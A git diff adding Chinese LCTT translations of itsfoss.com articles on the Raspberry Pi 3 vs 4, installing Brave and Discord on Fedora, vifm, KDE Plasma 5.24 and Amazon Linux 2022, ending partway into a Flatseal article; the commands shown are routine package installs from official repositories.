https://www.appflowy.io diff --git a/published/202111/20211118 Raspberry Pi 3 vs 4- Which One Should You Get.md b/published/202111/20211118 Raspberry Pi 3 vs 4- Which One Should You Get.md new file mode 100644 index 0000000000..7e93874da2 --- /dev/null +++ b/published/202111/20211118 Raspberry Pi 3 vs 4- Which One Should You Get.md @@ -0,0 +1,141 @@ +[#]: subject: "Raspberry Pi 3 vs 4: Which One Should You Get?" +[#]: via: "https://itsfoss.com/raspberry-pi-3-vs-4/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-13997-1.html" + +树莓派 3 还是 4:你应该买哪一个? +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/18/171924sg0bk3iu43bwi3x4.jpg) + +树莓派是一种物美价廉的单板计算机,在很多场景都很有用。不过,在树莓派 4 之前,它作为快速的桌面替代品并不是一个特别合适的选择。 + +所以,树莓派 4 以其新的功能改变了游戏规则。但是,它与树莓派 3 相比如何? + +树莓派 3 仍然值得考虑吗?或者,你应该去买最新和更强大的树莓派 4? + +在这篇文章中,我们试图通过强调两者之间的一些关键差异来为你提供一些答案。 + +首先,让我们看一下两者提供的规格: + +### 树莓派 3 的规格 + +![][1] + +树莓派 3 满足了一个基本入门 DIY 项目的所有要求。如果 [树莓派 Zero 或 树莓派 Zero W][2] 不符合你的要求,那么树莓派 3 是一个物美价廉的选择: + + * 四核 1.2GHz 博通 BCM2837 64 位 CPU + * 1GB 内存 + * 无线局域网和低功耗蓝牙(BLE) + * 以太网 + * 40 针扩展 GPIO + * 4 个 USB 2 端口 + * 4 极立体声输出和复合视频端口 + * 全尺寸的 HDMI + * CSI 摄像机端口 + * DSI 显示端口 + * 用于操作系统和存储数据的微型 SD 端口 + * 升级后的开关式微型 USB 电源,最高可达 2.5A 电流 + +### 树莓派 4 的规格 + +![][3] + + * 博通 BCM2711,四核 Cortex-A72(ARM v8)64 位 SoC @ 1.5GHz + * 2GB、4GB 或 8GB LPDDR4-3200 + * 2.4 GHz 和 5.0 GHz IEEE 802.11ac 无线,蓝牙 5.0,BLE + * 千兆位以太网 + * 2 个 USB 3.0 端口 + * 2 个 USB 2.0 端口 + * 40 针 GPIO 接头(向后兼容) + * 2 个微型 HDMI 端口(最多可支持 4kp60) + * 2 线 MIPI DSI 显示端口 + * 2 线 MIPI CSI 摄像头端口 + * 4 极立体声音频和复合视频端口 + * H.265(4kp60 解码),H264(1080p60 解码,1080p30 编码) + * OpenGL ES 3.1,Vulkan 1.0 + * 用于操作系统和存储数据的 MicroSD 卡插槽 + * 通过 USB-C 接口的 5V 直流电 + * 通过 GPIO 接头的 5V 直流电 + * 通过以太网供电 + +### 内存(RAM)选项 + +对于树莓派机型,通常情况下,你会得到一个包括 1 或 2GB 内存的单一产品阵容。 + +树莓派 3B+ 就是这种情况。如果你不需要更多的内存,树莓派 3 可以就是一个不错的解决方案,可以满足所有常规 DIY 项目的需求。 + +然而,对于树莓派 4,你可以选择 2GB、4GB 和 8GB 的版本。所以,如果你想完成更多的事情,或者在你的树莓派板上实现多个任务,树莓派 4 应该是一个不错的选择。 + +### 性能差异 + +尽管这两块板子都采用了博通公司的芯片,但树莓派 4 的性能明显更快。 + +如果你想把它作为你的迷你桌面的替代品,或者想为你的任务获得更好的计算能力,树莓派 4 将是明显的选择。 + +说到树莓派 3,它配备了一个四核 1.2GHz 的博通 BCM2837 64 位 CPU。它是一个能够完成各种任务的芯片。 + +#### 连接能力 + +两块树莓派板都提供了一个 40 针的扩展 GPIO 接头。 + +然而,说到 USB 连接时,树莓派 4 提供了两个 USB 3.0 端口以及另外两个 USB 2 端口。而树莓派 3 只限于两个 USB 2 端口。 + +因此,如果你需要更快的数据传输速度,USB 3.0 端口应该会有帮助。例如,如果你要使用任何 [媒体服务器软件][4],这可以派上用场。 + +除此之外,树莓派 4 上还有 USB-C 的存在,如果 USB 配件需要,它可以用来给电路板供电(5V DC)。 + +#### 双显示器与相机支持 + +虽然树莓派 3 提供了一个全尺寸的 HDMI 端口、DSI 端口和 CS 端口,但它并不具有双显示器支持。 + +有了树莓派 4,你可以得到两个微型 HDMI 端口,一个双通道 DSI 端口和一个双通道 CSI 摄像头端口。 + +### 你应该买哪一个? + +规格 | 树莓派 3 | 树莓派 4 +---|---|--- +**处理器** | 四核 1.2GHz 博通 BCM2837 | 四核 1.5GHz 博通BCM2711 +**RAM** | 1 GB | 高达 8 GB +**蓝牙** | BLE | 蓝牙 5.0 +**USB端口** | 4 x USB 2.0 | 2 x USB 3.0,2 x USB 2.0 +**无线连接** | 是 | 是,2.4 GHz & 5 GHz 频段支持 +**显示端口** | 1 x HDMI,1 x DSI | 2 x micro-HDMI,1 个 DSI +**电源** | microUSB 和 GPIO,高达 2.5 A | 5V DC,通过 USB-C 和GPIO(3 A) +**MicroSD 插槽** | 是 | 是 +**价格** | 35 美元 | 35 美元(1 GB 内存)、45 美元(2 GB 内存)、55 美元(4 GB 内存)、75 美元(8 GB 内存) + +如果你想要更快的数据传输,支持双显示器,以及更好的性能,树莓派 4 是一个很好的选择。 + +考虑到 2GB 内存的树莓派 4 基本型号的价格约为 35 美元。以几乎相同的价格选择 1GB 的树莓派 3 型号,实在是毫无意义。 + +当然,除非你能得到一个更便宜的价格,并且有特定的要求。树莓派 4 总体上是一个明确的选择。 + +然而,有一些事情,如板子发热和其他潜在的问题,你可能想在决定之前探讨一下。树莓派 3 已被证明能在许多项目中发挥作用,而树莓派 4 是相当新的,可能还没有经过各种项目的测试。 + +一旦你确定了这一点,你就可以继续得到它们中的任何一个。 + +你喜欢用什么?你都试过了吗?请在下面的评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/raspberry-pi-3-vs-4/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/raspberry-pi-3.jpg?resize=800%2C534&ssl=1 +[2]: https://itsfoss.com/raspberry-pi-zero-vs-zero-w/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/raspberry-pi-4.jpg?resize=583%2C340&ssl=1 +[4]: https://itsfoss.com/best-linux-media-server/ +[5]: https://itsfoss.com/raspberry-pi-projects/ diff --git a/published/202111/20211119 How to Install Brave Browser on Fedora, Red Hat - CentOS.md b/published/202111/20211119 How to Install Brave Browser on Fedora, Red Hat - CentOS.md new file mode 100644 index 0000000000..54e00211bd --- /dev/null +++ b/published/202111/20211119 How to Install Brave Browser on Fedora, Red Hat - CentOS.md @@ -0,0 +1,104 @@ +[#]: subject: "How to Install Brave Browser on Fedora, Red Hat & CentOS" +[#]: via: "https://itsfoss.com/install-brave-browser-fedora/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14028-1.html" + +如何在 Fedora Linux 上安装 Brave 浏览器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/28/102349idh316xz3bslr6ps.jpg) + +[Brave][1] 是一个越来越 [流行于 Linux][2] 和其他操作系统的网页浏览器。对默认情况下阻止广告和跟踪的关注,以及对 Chrome 扩展的支持,使 Brave 成为 Linux 用户的热门选择。 + +在本教程中,你将学习如何在 Fedora Linux 上安装 Brave。你还将学习如何更新和删除它。 + +本教程已经在 Fedora 上进行了测试,但它也应该适用于基于 Red Hat 的其他发行版,如 CentOS、Alma Linux 和 Rocky Linux。 + +### 在 Fedora Linux 上安装 Brave 浏览器 + +你需要在这里用命令行的方式来安装 Brave。 + +作为先决条件,请确保 `dnf-plugin-core` 已经安装。 + +``` +sudo dnf install dnf-plugins-core +``` + +下一步是将 Brave 仓库添加到你的系统中: + +``` +sudo dnf config-manager --add-repo https://brave-browser-rpm-release.s3.brave.com/x86_64/ +``` + +你还应该导入并添加仓库密钥,这样你的系统就会信任来自这个新添加的仓库的软件包: + +``` +sudo rpm --import https://brave-browser-rpm-release.s3.brave.com/brave-core.asc +``` + +![Adding Brave Browser repository in Fedora Linux][3] + +现在可以开始了。用这个命令安装 Brave: + +``` +sudo dnf install brave-browser +``` + +**当被要求确认你的选择时按 `Y`**。根据你的网速,这应该需要几秒钟或几分钟的时间。如果 DNF 的缓存最近没有更新,甚至可能需要更长时间。 + +![Installing Brave Browser in Fedora][4] + +安装完成后,在系统菜单中寻找 Brave 并从那里启动。 + +![Start Brave browser in Fedora Linux][5] + +### 在 Fedora Linux 上更新 Brave 浏览器 + +你已经为浏览器添加了一个仓库,并且导入了它的密钥。你的系统信任来自这个仓库的软件包。 + +因此,当有新的 Brave 浏览器发布并提供给这个仓库时,你会通过常规的系统升级得到它。 + +换句话说,你不需要做任何特别的事情。只要保持你的 Fedora 系统更新,如果有 Brave 的新版本,它应该会随着系统更新自动安装。 + +### 从 Fedora Linux 中删除 Brave 浏览器 + +![Brave Browser in Fedora Linux][6] + +如果你因为某些原因不喜欢 Brave,你可以从你的系统中删除它。只需使用 `dnf remove` 命令: + +``` +sudo dnf remove brave-browser +``` + +当询问时按 `Y`: + +![Removing Brave browser from Fedora Linux][7] + +你也可以选择禁用 `brave-browser-rpm-release.s3.brave.com_x86_64_.repo` 或者从 `/etc/yum/repos.d` 中完全删除这个文件,虽然这并不是必须的。 + +我希望这个快速提示对你有帮助。如果你有任何问题或建议,请让我知道。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-brave-browser-fedora/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://brave.com/ +[2]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/adding-Brave-browser-repository-in-Fedora.png?resize=800%2C300&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing-Brave-Browser-Fedora.png?resize=800%2C428&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/start-brave-fedora-linux.png?resize=759%2C219&ssl=1 +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/Brave-Browser-in-Fedora-Linux.png?resize=800%2C530&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/removing-Brave-browser-Fedora-Linux.png?resize=800%2C399&ssl=1 diff --git a/published/202111/20211120 How to Install Discord on Fedora Linux.md b/published/202111/20211120 How to Install Discord on Fedora Linux.md new file mode 100644 index 0000000000..046303a9b6 --- /dev/null +++ b/published/202111/20211120 How to Install Discord on Fedora Linux.md @@ -0,0 +1,118 @@ +[#]: subject: "How to Install Discord on Fedora Linux" +[#]: via: "https://itsfoss.com/install-discord-fedora/" +[#]: author: "Pranav Krishna https://itsfoss.com/author/pranav/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14025-1.html" + +如何在 Fedora Linux 上安装 Discord +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/27/115501g3oiuirvzk4nvu3k.jpg) + +[Discord][1] 是一个流行的消息收发应用,可用于文字和语音信息传递。 + +它是一些社区的福音,可以帮助他们扩大项目,接触更多的人,并维持一个粉丝和关注者的社区。而 Discord 最初是为游戏玩家设计的,这很令人惊讶。 + +Discord 可用于各种平台,包括 Linux。在本教程中,我将引导你完成在 Fedora 中安装 Discord 的步骤。 + + * 使用 DNF 和 RPM Fusion 仓库安装 Discord + * 通过 Flatpak 安装Discord + +Flatpak 软件包是沙盒的,因此需要更多的磁盘空间和时间来启动。然而,他们会相当快地更新到新的版本。 + +无论你想使用 Flatpak 还是 DNF,选择权在你手上。我将向你展示这两种方法。 + +> 非 FOSS 警报! +> +> Discord 并不是开源的。但由于他们提供了一个 Linux 客户端,而且许多 Linux 用户都依赖它,所以我们会在这里介绍它。 + +### 方法 1:通过 RPM Fusion 仓库安装 Discord + +Discord 可以通过添加非自由的 RPM Fusion 仓库来安装,这是大多数 Fedora 用户的首选方法,因为更新很容易,而且应用的启动速度比 Flatpak 版本快。 + +打开终端,使用下面的命令来添加 RPM-fusion 非自由仓库: + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm + +``` + +完成后,更新仓库列表(应该不需要,但只是为了它): + +``` +sudo dnf update +``` + +然后通过 `dnf` 命令安装 Discord,像这样: + +``` +sudo dnf install discord +``` + +![Installing Discord using DNF][2] + +如果被要求导入 GPG 密钥,只要按 `Y` 就可以授权了。 + +![Authorize GPG key][3] + +这就完成了!现在你可以从应用菜单中启动 Discord。你的登录页面将看起来像这样: + +![Launch Discord application][4] + +#### 通过 DNF 删除 Discord + +如果你不想再使用 Discord,你可以从你的系统中删除它。要做到这一点,在终端运行以下命令: + +``` +sudo dnf remove discord +``` + +这真的很简单,不是吗?还有一种简单的安装 Discord 的方法,那就是使用 Flatpak 软件包。 + +### 方法 2:通过 Flatpak 安装 Discord + +Discord 可以使用 Flatpak 轻松安装,因为它在 Fedora 中是默认可用的。 + +首先,你需要在 Fedora 中启用 Flatpak 仓库: + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +接下来,通过这个命令安装 Discord: + +``` +flatpak install discord +``` + +![Install Discord via Flatpak][5] + +如果你想删除 Discord,那么只需运行: + +``` +flatpak remove discord +``` + +这就超级简单了。如果你在 Fedora Linux 上安装 Discord 需要任何帮助,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-discord-fedora/ + +作者:[Pranav Krishna][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pranav/ +[b]: https://github.com/lujun9972 +[1]: https://discord.com/ +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-discord-dnf.png?resize=800%2C525&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/authorize-gpg-key-1.png?resize=800%2C573&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Discord-2.png?resize=800%2C432&ssl=1 +[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-discord-flatpak.png?resize=800%2C545&ssl=1 diff --git a/published/202111/20211120 vifm- A Terminal File Browser for Hardcore Vim Lovers.md b/published/202111/20211120 vifm- A Terminal File Browser for Hardcore Vim Lovers.md new file mode 100644 index 0000000000..b7ab7cbbce --- /dev/null +++ b/published/202111/20211120 vifm- A Terminal File Browser for Hardcore Vim Lovers.md @@ -0,0 +1,132 @@ +[#]: subject: "vifm: A Terminal File Browser for Hardcore Vim Lovers" +[#]: via: "https://itsfoss.com/vifm-terminal-file-manger/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14001-1.html" + +vifm:为铁杆 Vim 爱好者提供的终端文件浏览器 +====== + +> 让我们探索一个基于终端的文件浏览器,可以使用 Vim 风格的键绑定。 + +![](https://img.linux.net.cn/data/attachment/album/202111/20/103256stau7uhetccj7uun.png) + +当在命令行中浏览 [Linux 目录结构][1] 时,人们经常依赖 [cd 命令][2]。 + +这也没什么不好,因为你登录到任何一个 Linux 系统上都有 `cd` 命令。 + +然而,如果系统是由你维护的,你想更直观地看到目录,那么文件管理器比 `cd` 或 `tree` 命令要好得多。 + +是的,你也可以在终端中找到文件管理器。它们可能不如 Nautilus 这样的图形界面应用,但仍然比普通的老命令好。 + +有几个 [TUI][3] 文件浏览器,我们已经介绍了其中的几个。今天,我们来看看 `vifm`。 + +### vifm 简介 + +![][4] + +[vifm][5] 是一个命令行工具,它是一个文件管理器,导航和操作文件系统对象的键绑定与 Vim 类似。如果你不清楚我所说的“文件系统对象”是什么意思,它们是文件、目录、符号链接、硬链接等。 + +除了非常直观的 Vim 交互键绑定外,下面是 `vifm` 为你提供的一系列功能: + + * 一个就在你的终端中的快速文件管理器 + * 从文件管理器内编辑文本文件 + * `vifm` 使用 curses 界面 + * `vifm` 是跨平台的(在 Cygwin 的帮助下甚至可以在 Windows 上工作;它应该可以,但我没有测试过) + * 支持 Vim 风格的键绑定输入,如 `dd`、`j`、`k`、`h`、`l` 等 + * [vifm 插件][6] 可以在 Vim 中使用,这样就可以通过 Vim 打开文件 + * 支持 Vim 命令的自动补完 + * 支持多个面板 + * 可以使用 [或不使用] 正则表达式进行批量重命名 + +### 在 Linux 上安装 vifm + +`vifm` 软件包并不算新,因此在默认情况下,即使是“稳定”发行版(如 Debian)的软件库中也很容易找到它。 + +在 Debian 和基于 Debian 的发行版(如 Ubuntu、Pop!_OS、Mint 等)之上,你可以 [使用 apt 软件包管理器][7] 来安装 `vifm`: + +``` +sudo apt install vifm +``` + +使用 [pacman 软件包管理器][8] 在 [基于 Arch 的 Linux 发行版][9]上安装 `vifm`: + +``` +sudo pacman -S vifm +``` + +`vifm` 在 Fedora 和 RHEL 仓库中也有;用 DNF 软件包管理器安装它: + +``` +sudo dnf install vifm +``` + +安装好了 `vifm`,你可以简单地在终端输入 `vifm`,像下面这样,然后启动它: + +``` +vifm +``` + +### vifm 的用户界面 + +当你第一次启动 `vifm` 时,默认情况下,它启动时显示你当前所在的目录的概览。你还会注意到,`vifm` 默认使用两个窗格。 + +![默认的 vifm 界面,包括一个正常的视图(隐藏的文件不可见)和两个默认打开的窗格][10] + +如果你对界面感到困惑,只需尝试按 `j` 键将光标向下移动一行,按 `k` 键将光标向上移动一行。你可以通过按 `h` 键向上移动一级目录。就像 Vim 中一样! + +如果你的光标目前在一个文件上,按 `l` 键将在 Vim 中打开该文件(如果没有另外说明的话)。但如果你的光标在一个目录上,按 `l` 键将导航到该目录并显示其内容。 + +你也可以通过按 `Ctrl + g` 键绑定,从文件管理器中获得关于文件或目录的详细信息。 + +![`Ctrl + g` 键绑定如何显示目录/文件信息的屏幕截图][11] + +你可以按 `za` 键来显示被隐藏的文件和目录(开头有 `.` 的文件和目录默认是隐藏的)。如果这些特殊的文件和目录没有被隐藏,按 `za` 键将会隐藏它们。 + +你可以用 `zo` 键绑定一直显示隐藏的文件和目录,或用 `zm` 键绑定使这些项目一直不可见。 + +![举例说明,当你按下 `zo` 键绑定时的情况][12] + +### 总结 + +由于它是基于 Vim 的,你可以用 vifmrc 文件来配置它。在 [vifm wiki][15] 上有最新的默认绑定键的速查表,在 [这里][16]。这个项目的文档非常好。 + +![vifm 默认按键绑定][17] + +`vifm` 是一个了不起的文件管理器,特别是对于 Vim 用户来说,因为它与 Vim 生态系统整合得非常好。它将许多 Vim 的功能和按键绑定整合到一个文件管理器中。默认的双窗格布局使其更具生产力。 + +不要犹豫,尝试一下 `vifm`。它真的是一个了不起的命令行工具。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/vifm-terminal-file-manger/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://linuxhandbook.com/linux-directory-structure/ +[2]: https://linuxhandbook.com/cd-command-examples/ +[3]: https://itsfoss.com/gui-cli-tui/ +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/vifm-screenshot.png?resize=800%2C309&ssl=1 +[5]: https://github.com/vifm/vifm +[6]: https://github.com/vifm/vifm.vim +[7]: https://itsfoss.com/apt-command-guide/ +[8]: https://itsfoss.com/pacman-command/ +[9]: https://itsfoss.com/arch-based-linux-distros/ +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/01_two_panes-1.webp?resize=800%2C600&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/02_ctrl_g_info.webp?resize=800%2C600&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/03_toggle_dotfile_visibility.webp?resize=800%2C600&ssl=1 +[13]: https://itsfoss.com/nnn-file-browser-linux/ +[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2017/04/nnn-file-browser.jpg?fit=800%2C450&ssl=1 +[15]: https://wiki.vifm.info/index.php/Main_Page +[16]: https://vifm.info/cheatsheets.shtml +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/vifm-key-binding-cheatsheet.webp?resize=800%2C561&ssl=1 diff --git a/published/202111/20211123 KDE Plasma 5.24 To Add a GNOME-Style Overview and Will Prevent You From Uninstalling Plasma.md b/published/202111/20211123 KDE Plasma 5.24 To Add a GNOME-Style Overview and Will Prevent You From Uninstalling Plasma.md new file mode 100644 index 0000000000..96cea9b927 --- /dev/null +++ b/published/202111/20211123 KDE Plasma 5.24 To Add a GNOME-Style Overview and Will Prevent You From Uninstalling Plasma.md @@ -0,0 +1,98 @@ +[#]: subject: "KDE Plasma 5.24 To Add a GNOME-Style Overview and Will Prevent You From Uninstalling Plasma" +[#]: via: "https://news.itsfoss.com/kde-plasma-5-24-dev/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14015-1.html" + +开发中的 KDE Plasma 5.24 新变化:增加 GNOME 式概览、防删功能 +====== + +> KDE Plasma 正在升级中,以改善类似于 GNOME shell 的概览,并为非技术用户提供更多的可用性改进。 + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/kde-plasma-5-24-dev-ft.png?w=1200&ssl=1) + +自从 2011 年 GNOME 3 以来,活动概览在与 GNOME 的互动中起到了关键作用。尽管它在发布时受到了严厉的批评,但许多用户现在已经爱上了它,导致其他一些桌面环境也在考虑实现类似的功能。 + +而且,看起来 KDE Plasma 正在添加类似的东西,它就像是一个全新的类似 GNOME 的概览。让我们来仔细了解一下。 + +### 新的 Plasma 概览 + +![Image: Vlad Zahorodnii / KDE Developer][1] + +当我偶然看到 KDE 开发者 [Nate Graham 的博文][2] 时,我注意到了一个与 GNOME 活动概览非常相似的东西。 + +如上面的截图所示,当你在 KDE 上按 `Windows`/`Super` 键进入概览界面时,你就会看到它。 + +然而,值得注意的是,它仍然处在开发版本中。而且,它已经被合并到 KDE Plasma 5.24 中去了。 + +但是它和 GNOME 活动概览相似吗? + +它看起来确实相似,但有一些关键的区别,其中包括: + + * 在概览中,你可以完全访问底部面板。 + * 搜索功能是由 KRunner 提供的,用来寻找应用程序和活动窗口。 + +#### 可以完全访问底部面板 + +如果你正在使用 KDE,你肯定知道底部面板。到目前为止,它与 GNOME 的概览效果最显著的区别是有任务栏。这使得用户可以访问一个统一的地方来打开应用程序,访问快速设置,并查看通知。 + +作为一个拥有任务栏的传统桌面理念的粉丝,这对于 Plasma 这样的传统桌面环境来说感觉非常完美。 + +#### 使用 KRunner 进行强大的搜索(新增加的功能) + +![][1] + +多年来,KRunner 无疑是 Linux 中最强大的应用程序启动器之一。它的一些神奇功能包括可以搜索: + + * 文件 + * 设置 + * 应用程序 + * 打开浏览器标签 + * 打开现有窗口 + +因此,KRunner 已被整合到 KWin 的概览效果中,可以让你搜索现有窗口或启动新的应用程序。 + +我相信很多用户会非常高兴地看到这个整合,特别是那些已经使用 KRunner 的用户。 + +### 防止用户卸载 KDE + +为了改善非技术用户的用户体验,Discover(KDE 的软件中心)现在会阻止任何删除任何关键软件包的行为,比如桌面环境。 + +![来自 PointiestStick 博客][3] + +你可能知道,这个问题是由 Linus Sebastian(Linus Tech Tips)强调的,当他在 Pop!_OS 上安装 Steam 时,结果却删除了 GNOME、Xorg 和其他重要软件包。 + +所以,接下来的改进是为了解决这个问题,这对 KDE Plasma 5.24 来说是一个很好的补充。 + +### 其他改进 + +除了关键的亮点之外,KDE Plasma 5.24 旨在提高性能、响应速度和用户体验。 + +此外,也有一些细微的用户界面调整和小程序改进。要想了解更多,你应该浏览一下 [Nate 的博文][2] 以及与上述功能相关的 [合并请求][4]。 + +### 总结 + +根据我对 KDE Plasma 的体验,它是一个非常注重生产力的桌面。KDE 在改善桌面环境的概览效果和可用性的同时,将包括一个同样具有生产力和专注性的用户界面,这是很有意义的。 + +如果你想尝试新的改进,恐怕你必须等待 Plasma 5.24 发布。虽然这对现在来说是要等待相当长的时间(2022 年 2 月),但我相信这将是值得的。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kde-plasma-5-24-dev/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/kwin-kde-gnome-overview-effect.png?w=1200&ssl=1 +[2]: https://pointieststick.com/2021/11/19/this-week-in-kde-most-of-gnome-shell-in-the-overview-effect/ +[3]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/cant-remove-plasma-1.png?w=1022&ssl=1 +[4]: https://invent.kde.org/plasma/kwin/-/merge_requests/1688 diff --git a/published/202111/20211124 Amazon-s Own Linux Distribution is Now Completely Based on Fedora.md b/published/202111/20211124 Amazon-s Own Linux Distribution is Now Completely Based on Fedora.md new file mode 100644 index 0000000000..2a32901437 --- /dev/null +++ b/published/202111/20211124 Amazon-s Own Linux Distribution is Now Completely Based on Fedora.md @@ -0,0 +1,57 @@ +[#]: subject: "Amazon’s Own Linux Distribution is Now Completely Based on Fedora" +[#]: via: "https://news.itsfoss.com/amazon-linux-2022-preview/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14019-1.html" + +亚马逊自己的 Linux 发行版现在完全基于 Fedora 了 +====== + +> 亚马逊已经发布了 Amazon Linux 2022 的公开预览版,并有了新的发布模式。 + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/amazon-linux-2022.png?w=1200&ssl=1) + +如果你还不知道,亚马逊有自己的通用 Linux 发行版,自然而然,它被称为 Amazon Linux。 + +它的目的是在 AWS 服务器上使用。当你部署服务器时,你可以选择使用 Amazon Linux,或其他流行的选择,如 Ubuntu、Debian 等。由于它来自亚马逊,所以没有许可费,而且亚马逊对软件库和软件包进行控制。你可以期待它与 AWS 工具紧密结合,并通过它获得新的 AWS 创新。 + +Amazon Linux 2022(AL2022)是其版本 1 和 2 之后的下一个版本,它将在 2022 年发布(你可以从版本号上猜到)。 + +### 即将发布的 Amazon Linux 2022 只基于 Fedora + +到目前为止,Amazon Linux 的发布是基于红帽 Linux 和 Fedora 两者的组合。从 AL2022 开始,它将明确使用 Fedora 作为上游。 + +此举意在为 AWS 客户“提供各种最新软件,如更新的语言运行时,作为季度发布的一部分”。 + +为了提高安全性,减少攻击面,AL2022 还将启用 [SELinux][1] 并默认执行。 + +### 与 Ubuntu 相似的新发布模式 + +Amazon Linux 还选择了一个更可预测的发布时间表。每两年将发布一个新的 Amazon Linux 主要版本,并将支持五年。这样,用户就会知道何时以及如何升级他们的操作系统。 + +这种“每两年一个新的 LTS 版本和 5 年的支持”与 Ubuntu 如今的特点非常相似。 + +### 还有什么? + +AL2022 也能锁定到亚马逊 Linux 软件包库的特定版本。这使得用户可以控制如何以及何时吸收更新。 + +Amazon Linux 2022 在所有的地理区域都可以作为预览版(即 beta 版)体验。你可以访问他们的 GitHub 页面了解更多关于 AL2022 的信息。 + + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/amazon-linux-2022-preview/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://linuxhandbook.com/selinux/ diff --git a/published/202111/20211124 Manage Flatpak Permissions Graphically With Flatseal.md b/published/202111/20211124 Manage Flatpak Permissions Graphically With Flatseal.md new file mode 100644 index 0000000000..54ecedd0de --- /dev/null +++ b/published/202111/20211124 Manage Flatpak Permissions Graphically With Flatseal.md @@ -0,0 +1,86 @@ +[#]: subject: "Manage Flatpak Permissions Graphically With Flatseal" +[#]: via: "https://itsfoss.com/flatseal/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: 